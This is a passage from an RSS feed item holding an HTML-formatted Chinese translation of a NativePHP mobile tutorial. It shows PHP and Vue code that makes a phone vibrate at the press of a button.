Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;3&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;4&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;5&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;6&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;flex: 1 1 auto;overflow: auto visible;padding: 8px;min-width: 0px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;text-align: justify;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;use&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;Native&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;\&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Mobile&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;\&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Facades&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;\&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Device&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;public&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;function&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;vibrate&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;(&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;)&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;{&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; Device&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;vibrate&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;();&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h4 data-heading=&quot;true&quot; style=&quot;margin: 2em 0px 0.5em;color: rgb(15, 76, 129);font-size: 16px;font-weight: bold;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;在 Vue / React / Inertia 中的写法（JavaScript）&lt;/span&gt;&lt;/h4&gt;&lt;pre style=&quot;color: rgb(255, 255, 255);background: rgb(28, 27, 27);font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 0px;text-align: justify;padding: 0px !important;&quot;&gt;&lt;span style=&quot;display: none;padding: 10px 14px 0px;&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; version=&quot;1.1&quot; x=&quot;0px&quot; y=&quot;0px&quot; width=&quot;45px&quot; height=&quot;13px&quot; viewbox=&quot;0 0 450 130&quot;&gt;&lt;ellipse cx=&quot;50&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(220,60,54)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(237,108,96)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;225&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(218,151,33)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(247,193,81)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;400&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(27,161,37)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(100,200,86)&quot;&gt;&lt;/ellipse&gt;&lt;/svg&gt;&lt;/span&gt;&lt;code style=&quot;font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;margin-top: 0px;margin-bottom: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;text-align: justify;display: flex;align-items: flex-start;overflow: hidden auto;width: 100%;max-width: 100%;padding: 0px;box-sizing: border-box;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;padding: 8px 0px;border-right: 1px solid rgba(0, 0, 0, 0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0px !important;&quot;&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-top: 0px !important;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;1&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;3&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;4&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;5&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;6&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;7&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;8&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;9&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;10&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;11&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;flex: 1 1 auto;overflow: auto visible;padding: 8px;min-width: 0px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;text-align: justify;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;lt;template&amp;gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;lt;button&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;@click&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #B5BD68;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;quot;vibrate&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;gt;感受一下&amp;lt;/button&amp;gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;lt;/template&amp;gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;lt;script setup&amp;gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;import&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;{&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;Device&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;}&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;from&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #B5BD68;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&amp;#39;@nativephp/mobile&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;const&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;vibrate&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;=&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;async&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;(&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;) =&amp;gt; {&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; await&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;Device&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;vibrate&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;()&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;}&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;点击按钮。&lt;/span&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;你感觉到了吗？&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; 那是手机真实的振动反馈。普通 Web 应用永远做不到这一点，但你现在已经做到了。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;恭喜🎉，你现在是一名移动开发者了。&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;原文链接：https://nativephp.com/blog/your-first-nativephp-mobile-app-in-5-minutes）&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;p style=&quot;font-size: 0px;line-height: 0;margin: 0px;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;text-align: justify;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;p style=&quot;display: none;&quot;&gt;&lt;mp-style-type data-value=&quot;3&quot;&gt;&lt;/mp-style-type&gt;&lt;/p&gt;</description><pubDate>Thu, 12 Feb 2026 20:00:52 +0800</pubDate></item></channel></rss>